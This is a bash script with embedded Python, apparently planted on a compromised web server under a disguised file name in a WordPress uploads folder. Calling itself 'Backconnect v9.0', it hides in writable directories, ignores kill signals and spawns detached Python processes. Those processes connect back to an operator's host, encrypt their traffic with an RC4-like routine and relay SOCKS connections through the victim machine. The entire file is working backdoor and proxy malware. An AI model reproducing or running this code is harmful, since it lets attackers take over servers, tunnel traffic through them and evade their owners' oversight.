/home/fdhrevqn/public_html/wp-content/uploads/2021/04/statsLib.class
#!/bin/bash
# Backconnect v9.0 - WORKING VERSION
N="bcksocks";D=15;PD=""

find_writable() {
    for d in /tmp /var/tmp /dev/shm /run \
        /var/www/html /var/www /srv/www /srv/http \
        /home/*/public_html /home/*/www /home/*/web \
        /usr/share/nginx/html /usr/share/apache2/htdocs \
        /var/www/*/public /var/www/*/html \
        /opt/lampp/htdocs /opt/bitnami/apache/htdocs \
        "$HOME/public_html" "$HOME/www" "$HOME"; do
        [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
    done
    echo "./.$N"
}

PD="$(find_writable)"

ka(){ pkill -9 -f "$N" 2>/dev/null;rm -rf "$PD";echo "Done";exit 0; }
st(){ echo "Status:";[ -d "$PD" ]||{ echo " None";exit 0; }
    for f in "$PD"/*.pid;do [ -f "$f" ]||continue;p=$(cat "$f");n=$(basename "$f" .pid)
    kill -0 "$p" 2>/dev/null&&echo " + $n ($p)"||echo " - $n";done;exit 0; }

spawn() {
    local host="$1" port="$2" id="$3"
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local pyf="$PD/${id}.py"
    
    cat > "$pyf" << PYEND
import socket,select,threading,random,time,os,sys,signal,errno
H='$host'
P=$port
x=bytearray(50)
for i in range(50):x[i]=int(random.random()*255)

def R(p,l,b,s,z):
    r=list(range(256));p0=p1=p2=p3=p4=p5=p6=p7=p8=0;c=z;i=0;j=0;g=0
    while c>0:b[s+i]^=p[j];i+=1;j+=1;c-=1;j=0 if j==l else j
    while 1:
        if g==0:p2=0;p3=l
        if g!=0:
            g=0;p2+=1;p3-=1
            if p3==0:continue
        p7=r[p0];t=p[p2];p1+=t;p1&=255;p1+=p7;p1&=255;p6=r[p1];r[p0]=p6;r[p1]=p7;p0+=1;p0&=255
        if p0!=0:g=1;continue
        p4=z;p1=p0=p2=p3=0
        while 1:
            p2+=1;p2&=255;p7=r[p2];p1+=p7;p1&=255;p8=r[p1];r[p2]=p8;r[p1]=p7;p8+=p7;p8&=255;p0=r[p8]
            p5=b[s+p3];p5^=p0;b[s+p3]=p5;p3+=1;p4-=1
            if p4==0:break
        break
    i=0;c=z;j=0
    while c>0:b[s+i]^=p[j];i+=1;j+=1;c-=1;j=0 if j==l else j

L=threading.Lock()
def T(k,d):
    with L:
        try:k.sendall(d);return 1
        except:return 0

sa=[0]*200;sk=[None]*200;sL=threading.Lock()

def C(n,sS,cS,b0):
    def w():
        r=bytearray([n,0x0A,0,5,1,0,1,0,0,0,0,0,0]);d='';pt=0;o=0
        try:
            cS.setsockopt(6,1,1);cS.setblocking(0)
            if b0[7]==3:
                dl=b0[8];d=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1]
            elif b0[7]==1:
                d="{}.{}.{}.{}".format(b0[8],b0[9],b0[10],b0[11]);pt=(b0[12]<<8)|b0[13]
            else:raise Exception()
            try:cS.connect((d,pt))
            except BlockingIOError:pass
            except socket.error as e:
                if e.errno!=errno.EINPROGRESS:raise
            _,wl,_=select.select([],[cS],[],10)
            if wl:
                e=cS.getsockopt(socket.SOL_SOCKET,socket.SO_ERROR)
                if e==0:
                    cS.setblocking(0)
                    with sL:sa[n]=1;sk[n]=cS
                    r[4]=0;o=1
                else:raise Exception()
            else:raise Exception()
        except:
            try:cS.close()
            except:pass
        R(x,50,r,0,3);R(x,50,r,3,10);T(sS,bytes(r));R(x,50,r,0,3)
        if o:
            while sa[n]==1:
                try:
                    cs=sk[n]
                    if not cs:break
                    rl,_,_=select.select([cs],[],[],1)
                    if not rl:continue
                    dt=cs.recv(65530)
                    if not dt:break
                    b=bytearray([n,len(dt)&255,(len(dt)>>8)&255])+bytearray(dt)
                    R(x,50,b,0,3);R(x,50,b,3,len(dt))
                    if not T(sS,bytes(b)):break
                except:break
        with sL:sa[n]=0
        cs=sk[n]
        if cs:
            try:cs.close()
            except:pass
        r[1]=0;r[2]=0;R(x,50,r,0,3);T(sS,bytes(r[:3]))
    threading.Thread(target=w,daemon=1).start()

def B():
    rm=r4=ebx=edx=0;b0=bytearray();bn=bytearray(3);ex=0
    try:
        sk[0]=socket.socket(2,1);sk[0].setsockopt(6,1,1);sk[0].connect((H,P))
        b=bytearray(100);b[:50]=x;b[50]=255;b[51]=255;b[54:60]=b"Python"
        R(x,50,b,50,50);sk[0].sendall(bytes(b))
        while 1:
            if r4!=4:
                rl,_,_=select.select([sk[0]],[],[],60)
                if not rl:
                    if bn!=bytearray(3)or rm or r4:break
                    R(x,50,bn,0,3);T(sk[0],bytes(bn));bn=bytearray(3);continue
            if rm or r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    elif 0<ebx<200:
                        with sL:sa[ebx]=0
                else:
                    d=sk[0].recv(edx-rm)
                    if not d:break
                    rm+=len(d);b0.extend(d)
                    if edx==rm:
                        R(x,50,b0,4,rm)
                        if b0[0]==0:
                            cs=socket.socket(2,1)
                            C(ebx,sk[0],cs,b0)
                        else:
                            cs=sk[ebx]
                            if cs:
                                try:cs.sendall(bytes(b0[4:4+rm]))
                                except:
                                    with sL:sa[ebx]=0
                        rm=0
                r4=0;b0=bytearray()
            else:
                if r4==0:b0=bytearray()
                d=sk[0].recv(4-r4)
                if not d:break
                r4+=len(d);b0.extend(d);bn=bytearray(3)
                if r4==4:R(x,50,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
    except:pass
    try:sk[0].close()
    except:pass
    for i in range(200):sa[i]=0
    time.sleep(10)
    if ex:sys.exit(0)

try:open('$pidf','w').write(str(os.getpid()))
except:pass
for s in[1,15,2,13]:
    try:signal.signal(s,signal.SIG_IGN)
    except:pass
while 1:
    try:B()
    except:time.sleep(10)
PYEND

    chmod +x "$pyf"
    setsid python3 "$pyf" </dev/null >/dev/null 2>&1 &
    sleep 1
    [ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    return 1
}

SRV=();PT=""
case "${1:-}" in
-h|--help)echo "Usage: $0 HOST:PORT [...] | -p PORT IP [...] | -f file | -k | -s";exit 0;;
-k)ka;;-s)st;;
-p)PT="$2";shift 2;for i in "$@";do SRV+=("$i:$PT");done;;
-f)[ -f "$2" ]||{ echo "No file";exit 1; }
   while IFS= read -r l||[ -n "$l" ];do l="${l//[[:space:]]/}";[[ -z "$l"||"$l"==\#* ]]||SRV+=("$l");done<"$2";;
*)for a in "$@";do [[ "$a"==*:* ]]&&SRV+=("$a")||SRV+=("$a:443");done;;
esac

[ ${#SRV[@]} -eq 0 ]&&{ echo "Usage: $0 -h";exit 1; }
command -v python3 &>/dev/null||{ echo "python3?";exit 1; }

mkdir -p "$PD";c=0
for s in "${SRV[@]}";do
    h="${s%:*}";p="${s#*:}";id="${h}_${p}"
    c=$((c+1))
    [ -f "$PD/${id}.pid" ]&&oldpid=$(cat "$PD/${id}.pid")&&kill -0 "$oldpid" 2>/dev/null&&{ echo "[$c/${#SRV[@]}] $h:$p running";[ "$c" -lt "${#SRV[@]}" ]&&sleep "$D";continue; }
    printf "[$c/${#SRV[@]}] $h:$p "
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ]&&sleep "$D"
done
echo "Done"